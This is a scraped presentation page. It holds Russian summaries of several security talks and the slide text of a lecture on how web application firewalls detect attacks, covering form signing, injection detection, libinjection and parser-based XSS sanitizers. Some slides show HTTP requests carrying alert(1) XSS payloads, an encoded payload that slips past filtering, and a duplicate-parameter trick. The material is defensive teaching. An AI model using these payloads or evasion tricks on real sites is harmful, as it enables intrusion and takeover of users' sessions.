Approof — статический анализатор кода для проверки веб-приложений на наличие уязвимых компонентов. В своей работе анализатор основывается на правилах, хранящих сигнатуры искомых компонентов. В докладе рассматривается базовая структура правила для Approof и процесс автоматизации его создания.
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
Разработка наукоемкого программного обеспечения отличается тем, что нет ни четкой постановки задачи, ни понимания, что получится в результате. Однако даже этом надо программировать то, что надо, и как надо. Докладчик расскажет о том, как ее команда успешно разработала и вывела в промышленную эксплуатацию несколько наукоемких продуктов, пройдя непростой путь от эксперимента, результатом которого был прототип, до промышленных версий, которые успешно продаются как на российском, так и на зарубежном рынках. Этот путь был насыщен сложностями и качественными управленческими решениями, которыми поделится докладчик
Задумывались ли вы когда-нибудь о том, как устроены современные механизмы защиты приложений? Какая теория стоит за реализацией WAF и SAST? Каковы пределы их возможностей? Насколько их можно подвинуть за счет более широкого взгляда на проблематику безопасности приложений?
На мастер-классе будут рассмотрены основные методы и алгоритмы двух основополагающих технологий защиты приложений — межсетевого экранирования уровня приложения и статического анализа кода. На примерах конкретных инструментов с открытым исходным кодом, разработанных специально для этого мастер-класса, будут рассмотрены проблемы, возникающие на пути у разработчиков средств защиты приложений, и возможные пути их решения, а также даны ответы на все упомянутые вопросы.
Разработка любого софта так или иначе базируется на требованиях. Полный перечень составляют бизнес-цели приложения, различные ограничения и ожидания по качеству (их еще называют NFR). Требования к безопасности ПО относятся к последнему пункту. В ходе доклада будут рассматриваться появление этих требований, управление ими и выбор наиболее важных.
Отдельно будут освещены принципы построения архитектуры приложения, при наличии таких требований и без, и продемонстрировано, как современные (и хорошо известные) подходы к проектированию приложения помогают лучше строить архитектуру приложения для минимизации ландшафта угроз.
Выступление Дениса Колегова, посвященное методам защиты веб-приложений, применяемым в межсетевых экранах, на встрече PDUG Meetup: J'adore hardcore 20 декабря 2016 года.
Выступление Дениса Колегова, посвященное методам защиты веб-приложений, применяемым в межсетевых экранах, на встрече PDUG Meetup: J'adore hardcore 20 декабря 2016 года.
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...Denis Batrankov, CISSP
Все маркетинговые презентации почти одинаковы и после того вы прослушали маркетинг, у вас должны быть уточняющие вопросы. Какие вопросы задают мне заказчики? А вот они.
Обзор современных технологий и продуктов для защиты от инсайдеров_2014.09.16DialogueScience
современными тенденциями в области защиты информации от внутренних угроз, комплексным подходом к защите от утечки конфиденциальной информации, а также с ведущими разработками в этой области.
Борьба с вредоносным кодом: от базовых мер к целостной стратегииAleksey Lukatskiy
Описание целостной стратегии борьбы с вредоносным кодом - от начальных шагов и базовых защитных мер к продвинутой версии, включающей множество защитных механизмов
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
Лекция Петра Волкова в Школе вебмастеров: «Как защитить свой сайт».
https://academy.yandex.ru/events/webmasters_school/yawebm2015/
Актуальные типы угроз и динамика их развития
Компрометация сервера и её последствия. Распределённые атаки типа «отказ в обслуживании». Подмена или добавление рекламы на стороне клиента. Атаки, направленные на пользователей. Проблемы, связанные со внешним содержимым.
Управление рисками безопасности веб-сайтов
Разные типы сайтов подвержены разным типам рисков информационной безопасности. Понимание целей и подходов злоумылшенников как ключ к эффективному снижению рисков. Методы монетизации атак на сайты.
Доступный инструментарий и методики для обеспечения безопасности
Открытые инструменты форензики для типовых и сложных проектов. Системы обнаружения вторжений, подходы к проектированию безопасности в архитектуре и процессах.
Презентация с InfoSecurity Russia 2017, в которой я попробовал описать, какими функциями должен обладать современный NGFW и почему у разных вендоров совершенно разное восприятие этого термина и его наполнения.
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
1. Основные понятия и определения: продукт, пакет, связи между ними.
2. Как узнать, какие изменения произошли в продукте?
3. Проблемы changelog и release note.
4. Решение: инструмент ChangelogBuilder для автоматической подготовки Release Notes
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
1. Обзор Windows Docker (кратко)
2. Как мы построили систему билда приложений в Docker (Visual Studio\Mongo\Posgresql\etc)
3. Примеры Dockerfile (выложенные на github)
4. Отличия процессов DockerWindows от DockerLinux (Долгий билд, баги, remote-регистр.)
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
1. Проблемы в построении CI процессов в компании
2. Структура типовой сборки
3. Пример реализации типовой сборки
4. Плюсы и минусы от использования типовой сборки
1. Что такое BI. Зачем он нужен.
2. Что такое Qlik View / Sense
3. Способ интеграции. Как это работает.
4. Метрики, KPI, планирование ресурсов команд, ретроспектива релиза продукта, тренды.
5. Подключение внешних источников данных (Excel, БД СКУД, переговорные комнаты).
1. Обзор инструментов в сообществе DevOpsHQ: https://github.com/devopshq и решаемые ими проблемы.
2. Планы развития сообщества DevOpsHQ.
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
Немногие разработчики закладывают безопасность в архитектуру приложения на этапе проектирования. Часто для этого нет ни денег, ни времени. Еще меньше — понимания моделей нарушителя и моделей угроз. Защита приложения выходит на передний план, когда уязвимости начинают стоить денег. К этому времени приложение уже работает и внесение существенных изменений в код становится нелегкой задачей.
К счастью, разработчики тоже люди, и в коде разных приложений можно встретить однотипные недостатки. В докладе речь пойдет об опасных ошибках, которые чаще всего допускают разработчики Android-приложений. Затрагиваются особенности ОС Android, приводятся примеры реальных приложений и уязвимостей в них, описываются способы устранения.
Доклад посвящен разработке корректного программного обеспечения с применением одного из видов статического анализа кода. Будут освещены вопросы применения подобных методов, их слабые стороны и ограничения, а также рассмотрены результаты, которые они могут дать. На конкретных примерах будет продемонстрировано, как выглядят разработка спецификаций для кода на языке Си и доказательство соответствия кода спецификациям.
The document discusses preventing attacks in ASP.NET Core. It provides an overview of topics like preventing open redirect attacks, cross-site request forgery (CSRF), cross-site scripting (XSS) attacks, using and architecture of cookies, data protection, session management, and content security policy (CSP). The speaker is an independent developer and consultant who will discuss built-in mechanisms in ASP.NET Core for addressing these security issues.
К началу 2016 года у многих сложилось впечатление, что проблема DDoS-атак исчерпала себя — настолько тривиальными выглядели сами атаки и меры по защите от них. Спустя год ситуация кардинально изменилась. Обсудим эти изменения, их причины, предпосылки и последствия, а также их взаимосвязь с развитием IoT.
2. Заголовок
• Руководитель группы исследований технологий защиты Позитив
Текнолоджис
• Доцент, к.т.н., доцент кафедры защиты информации
и криптографии ТГУ
• https://twitter.com/dnkolegov
• [email protected]
# whoami
3. Заголовок
• Введение
• Теория WAF
• Методы защиты веб-приложений
• Аутентификация веб-форм
• Обнаружение инъекций
• Встроенное распознавание
• Виртуальный патчинг
# План
6. Заголовок
Веб-приложение – клиент-серверное приложение, в котором
клиентом является веб-браузер, сервером – веб-сервер,
а протоколом взаимодействия между ними – веб-протокол
Базовый состав
• Веб-браузер
• Веб-сервер / Сервер приложений
• СУБД
Определение
7. ЗаголовокКак работает веб-приложение
GET / HTTP/1.1
Host: www.example.com
Connection: close
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html
Content-Length: 51
Date: Mon, 29 Aug 2016 10:36:58 GMT
Connection: close
<!DOCTYPE html>
<html>
<body>
<h1>Hello, World!</h1>
</body>
</html>
8. Заголовок
Огромное количество технологий и их реализаций
Простота использования
Доступность и распространенность
Низкий порог входа
• Для разработчиков
• Для пентестеров / баг-хантеров
• Для злоумышленников
Особенности
9. Заголовок
Необходимо построить многоуровневую защиту
В принципе невозможно устранить уязвимость в самом приложении
• Legacy
• Third-party
Необходимый механизм защиты отсутствует или сложно реализуем
• Защита от подбора паролей
• Управление доступом
• Защита от нежелательной автоматизации
Необходимо немедленно устранить обнаруженную уязвимость до ее
реального устранения в исходном коде
А что если …?
10. Заголовок
В 1990-х годах активно используется принцип внешнего
монитора безопасности
Текущий подход: разрабатывать приложения защищенными,
а не полагаться на внешние механизмы защиты
Владимир Кочетков. Как разработать защищенное
веб-приложение и не сойти при этом с ума
Как правильно защищать приложения?
12. Заголовок
• An appliance, server plugin, or filter that applies a set of rules to an HTTP
conversation
• A security solution on the web application level which does not depend
on the application itself
• A security policy enforcement point positioned between a web application
and the client end point. This functionality can be implemented in software
or hardware, running in an appliance device, or in a typical server running
a common operating system. It may be a stand-alone device or integrated into
other network components
Что такое WAF?
Web Application Firewall Evaluation Criteria
15. Заголовок
Detective
• Первичная валидация данных (методы, длина запроса, длина и число заголовков, …)
• Обнаружение инъекций
Mitigative - ослабление атак, от которых трудно защититься
• Проверка на соответствие RFC
• Аутентификация сообщений
• Шифрование URL или скрытых полей
• Маскирование данных
• Блокирование IP-адреса или завершение сессии
Предотвращение (prevention) – предотвращение использования
обнаруженных уязвимостей
• Виртуальный патчинг
Механизмы защиты
17. Заголовок
• Валидация HTTP-запроса (метод, длина запросов, количество
заголовков и т.д.)
• Нормализация HTTP-запроса (HTTP Parameter Pollution &
Contamination)
• Обнаружение инъекций (SQLi, LDAP, XPath и т.д.)
• Парсинг данных (XML, JSON, AMF и т.д.)
• Проверка репутации IP
Обработка запросов
18. Заголовок
Обнаружение утечек данных:
• stack traces
• debug information
• application errors
Обнаружение недостатков конфигураций:
• отсутствие заголовков безопасности
• небезопасная политика CSP
• небезопасная конфигурация SSL/TLS
Обработка ответов
19. Заголовок
Корреляция запросов и ответов HTTP:
• обнаружение отражения параметров запроса в ответе (Reflected
XSS, Open Redirect, HTTP Response Splitting)
• обнаружение успешной эксплуатации уязвимости (например,
наличие вектора Path Traversal в запросе и содержимого файла
/etc/passwd в ответе)
• User tracking – ассоциирование запросов и ответов с учетными
записями пользователей защищаемого веб-приложения
Обработка транзакций
20. Заголовок
• Credentials bruteforcing
• Site scraping
• Common vulnerability scanning
• Account takeover
• HTTP slow DoS attacks
• L7 DDoS
• Fraud
Механизмы защиты реализуются на основе машинного обучения или
счетчиков (например, max requests per second, max 404 errors per minute и
т.д.)
Поведенческий анализ
21. Заголовок
Теория
• Теория формальных языков
• LangSec
Практика
• Модель черного ящика
• Множество технологий
• Отсутствие стандартов
• Развитие клиентских частей веб-приложений
Источники ограничений
22. Заголовок
Входные данные – формальный язык
WAF – универсальный распознаватель (recognizer) языков атак на веб-
приложения
Можно распознать эквивалентный или менее мощный язык
Теория формальных языков
Грамматика Распознаватель
Типа 0 Машина Тьюринга
Контекстно-зависимая Линейно-ограниченный
автомат
Недетерминированная
контекстно-свободная
Недетерминированный
автомат с магазинной памятью
Детерминированная
контекстно-свободная
Недетерминированный
автомат с магазинной памятью
Регулярная Конечный автомат
LangSec: Language-theoretic security
23. Заголовок
Недостаточное (неэффективное) распознавание (insufficient
recognition)
• распознавание КС-языка с помощью регулярного выражения
Различимость парсеров (parser differentials)
• одни и те же входные данные распознаются парсерами по-разному
Входные данные сложнее чем детерминированный контекстно-
свободный язык
Проблемы
M. Patterson, S. Bratus, etc. The Seven Turrets of Babel: A
Taxonomy of LangSec Errors and How to Expunge Them
24. Заголовок
Предположение. Язык инъекций КС-языка является как минимум
КЗ-языком
• ' or '1 ' = '1
Язык инъекций как минимум содержит цепочки (вектора) целевого
языка, а значит является КС-языком
• select * from foo where id = <injection>
• (select ((1)))
При этом префикс и постфикс являются контекстно-зависимыми
Проблемы
25. Заголовок
Веб-приложение для WAF – это просто последовательность
запросов и / или ответов
Непонимание контекста
Непонимание логики взаимодействия
• Боты
• Взлом аккаунта
• Злоупотребления (abuse / misuse)
Модель черного ящика
28. ЗаголовокМинута из жизни WAF
CATS /app?pageId=1 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
29. ЗаголовокМинута из жизни WAF
CATS /app?pageId=1 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
30. ЗаголовокМинута из жизни WAF
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
31. ЗаголовокМинута из жизни WAF
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
32. ЗаголовокМинута из жизни WAF
GET /app?pageId=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
33. ЗаголовокМинута из жизни WAF
GET /app?pageId=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
34. ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
35. ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
function getID(request) {
var rawID = request.getValue('id');
var id = hexdecode(base64decode(rawID));
return id;
}
// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d
// id = <script>alert(1)</script>
Исходный код
36. ЗаголовокМинута из жизни WAF
GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
<script>alert(1)</script>
37. ЗаголовокМинута из жизни WAF
GET /app?callback=delete_user_data HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
<html><body><script type="text/javascript">
window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234
","tokenexp":"0","gid":"401223423..","url":"http://example.com"}); </script></body></html>
38. ЗаголовокМинута из жизни WAF
GET /app?callback=delete_user_data HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
<html><body><script type="text/javascript">
window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234
","tokenexp":"0","gid":"401223423..","url":"http://example.com"}); </script></body></html>
39. ЗаголовокМинута из жизни WAF
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
40. ЗаголовокМинута из жизни WAF
GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
41. ЗаголовокМинута из жизни WAF
POST /download?document_id=1123123&user_id=234123423&action_id=100 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
42. ЗаголовокМинута из жизни WAF
POST /download?document_id=1123123&user_id=234123423&action_id=100 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
43. ЗаголовокМинута из жизни WAF
GET /delete_account HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
44. ЗаголовокМинута из жизни WAF
GET /delete_account HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 12:34:25 GMT
Content-Length: 26
Connection: close
51. Заголовок
«Подписи запросов» API
• Yahoo, Amazon S3, Facebook
ASP.NET Framework
• Event Validation
• View State MAC
WAF
• ModSecurity: HMAC Token Protection
• F5 Networks ASM: Dynamic Content Value
• Citrix NetScaler: Form Signature
• PT AF: Form Signing
Механизм защиты
52. Заголовок
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Параметры:
• h – функция HMAC
• p – значение параметра
• k – секретный ключ сервера
Элементарный протокол
54. Заголовок
Содержание в формах большого количества полей
Различное представление форм для различных клиентов
Наличие в формах опциональных элементов
• Checkbox
• Option
• Radio
Идентификация защищаемых форм в HTTP-ответах
Идентификация скрытых элементов форм в HTTP-запросах
Ввод данных на стороне клиента
Сложности на практике
55. Заголовок
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Как использовать этот протокол если значение p формируется
в браузере на основе ввода пользователя?
Ввод данных на стороне клиента
56. Заголовок
Client ← Server: p, h(k, Tr(p, regex))
Client → Server: p', h(k, Tr(p, regex))
Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex))
Параметры:
• regex – валидирующее регулярное выражение для значения параметра
• Tr(s, regex) – операция удаления из строки s подстрок, соответствующих
regex
• Tr("abc123", "[a-z]+" ) = "123"
Валидирующее хэширование
key
string
regex R
HMAC of L(R)
57. Заголовок
1. Построение Authentication Base String (ABS)
• Method
• URL
• Идентификатор сессии
• Параметры
• Имя
• [Значение]
• [Тип]
Метод вычисления токена
60. Заголовок
1. Парсинг входящего HTTP-запроса
2. Проверка метода запроса
3. Проверка наличия токена
4. Для POST-запроса по полученному URL выполняется поиск политики
5. Если политика найдена, то распаковываются данные из токена
6. Проверка опциональных и скрытых полей, если они есть
7. Формирование ABS и его проверка
Метод проверки токена
61. Заголовок
• Нельзя защитить формы, динамически сгенерированные
на стороне клиента средствами JavaScript
• Нельзя защитить формы, отправленные средствами JavaScript
• Необходимо различать запросы, отправленные средствами
веб-форм от запросов AJAX
• Сложно защитить формы, отправляемые на сервер
методом GET
Ограничения метода
62. Заголовок
• Защита приложения от анализа
• Уменьшение поверхности атак на приложение
• Противодействие средствам автоматизации
• Предотвращение использования известных эксплойтов
Результаты
77. Заголовок
Алгоритм формирования выходных данных DOUTPUT на основе
входных данных DINPUT уязвим к атаке инъекции, если
дерево разбора (parse tree) для DOUTPUT зависит от DINPUT
Признак уязвимости к инъекции
88. Заголовок
Основные принципы нормализации
• приведение обрабатываемых данных к такому же формату и виду,
к каким приведет его защищаемое веб-приложение
• эквивалентный парсинг
T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding
Network Intrusion Detection. Secure Networks, Inc. 1998
Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls
Нормализация
92. Заголовок
Использование регулярных выражений (конечных автоматов)
для распознавания регулярного языка атак
Имеется L – регулярный язык атак, заданный регулярными
выражениями R
Если входное слово принадлежит языку L, т. е. допускается
регулярным выражением из R, то входное слово – атака
Лексический подход
97. Заголовок
Регулярные выражения – определение языка атак
Правила – определение контекста и логики
Правила
• Условия
• Ограничения
• Контекст
• Источники
• Корреляции
• Реакции
Правила
98. ЗаголовокПример правил CloudFlare WAF
Anonymous Attack
rule 1234567A Simple POST botnet
REQUEST_METHOD is POST and
REQUEST_URI is /q
deny
rule 12345679 Anonymous attack
REQUEST_METHOD is GET and
REQUEST_URI begins /?msg=Nous%20sommes%20Anonymous
deny
Simple POST Botnet
104. Заголовок
Предложил Nick Galbreath в 2012 для обнаружения SQL-инъекций
Позднее данный подход был адаптирован для обнаружения XSS
Реализован в библиотеке libinjection
Основные идеи
• Токенизация в соответствии с универсальной грамматикой лексера в 3-х
контекстах
• Строится свертка токенов
• Строка из первых пяти токенов ищется в базе сигнатур
• База сигнатур строится по популярным векторам атак
Лексико-сигнатурный подход
123. Заголовок
Ложные срабатывания
• if all else fails call grandma
• "Dr. Who" and coffee
• "SWEATER DRESS" AND "CHRISTMAS”
Пропуски
• Неизвестные токены
• Неизвестные контексты
Недостатки
Ivan Novikov. How to bypass libinjection in many WAF/NGWAF
Reto Ischi. An Alternative Approach for Real-life SQLi Detecion
126. Заголовок
Впервые применение парсеров для обнаружения инъекций было описано
в работе Роберта Хансена и Мередит Паттерсон «Guns and Butter: Towards
Formal Axioms of Input Validation» для Black Hat 2005
«Сontext-free parse tree validation»
• По известным запросам приложения грамматика для SQL преобразуется в грамматику
для subSQL
• По построенной грамматике генерируется парсер
• Парсер subSQL распознает только цепочки подъязыка SQL этого приложения
Robert J. Hansen, Meredith L. Patterson. Guns and Butter: Towards Formal
Axioms of Input Validation
Синтаксический подход
127. Заголовок
Ленивые – эвристическое использование готовых парсеров
• DOMPurify
• DOMSanitizer
Грамматические
• libdetection (Wallarm)
• libdejection (PT AF, DBFW)
• libprotection (PT AI)
В идеале необходимо использовать парсеры целевых
компьютерных систем, для предотвращения уязвимостей типа
«parser differentials»
Новые методы
128. Заголовок
Строка s - инъекция для языка L(G), если в построенном дереве разбора s по грамматике G
содержится хотя бы одна опасная инструкция
• 11111
• alert(1)
Базовая идея – с использованием готового парсера построить дерево разбора; если дерево
разбора содержит запрещенные узлы-нетерминалы, то исходная строка является инъекцией
Характеристики подхода
• Возможность использования готовых парсеров
• Универсальность
• Эвристичность
• Различимость парсеров
Ленивый метод
131. Заголовок
Запрещенные нетерминалы (опасные конструкции) в простейшем
случае задаются перечнем типов узлов
Для уменьшения числа ложных срабатываний могут быть
использованы дополнительные проверки на основе родительских
или дочерних узлов
Что делать, когда дерево разбора не может быть построено?
""};alert(1);var f={t:"
Поиск вредоносного кода
132. Заголовок
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens – список токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если S – непустая строка, то перейти на шаг 2
Метод поиска с левым приведением
133. ЗаголовокAcorn Plugins
function sanitize(dirty) {
var acorn = require('acorn'), detected = false, tree ;
acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {
return function(code, node) {
if(node === 'CallExpression') {
detected = true;
}
return nextMethod.call(this, code, node);
}
})
};
tree = acorn.parse(dirty, {plugins: {detectCallExpression: true}});
if (detected) {
return 'xss';
}
return dirty;
}
Acorn is designed support allow plugins which, within reasonable bounds, redefine the
way the parser works. Plugins can add new token types and new tokenizer contexts (if
necessary), and extend methods in the parser object
134. ЗаголовокEsprima Syntax Delegate
function sanitize(dirty) {
var esprima = require('esprima'), detected = false, tree;
tree = esprima.parse(dirty, {}, function(node, meta) {
if(node.type === 'CallExpression') {
detected = true;
}
});
if (detected) {
return 'xss';
}
return dirty;
}
sanitize(';alert(1);var f={t:')
// 'xss'
A powerful feature available in Esprima since version 3.0 is the ability to invoke a callback
function after every syntax node in the abstract syntax tree is created, often referred as
the syntax delegate
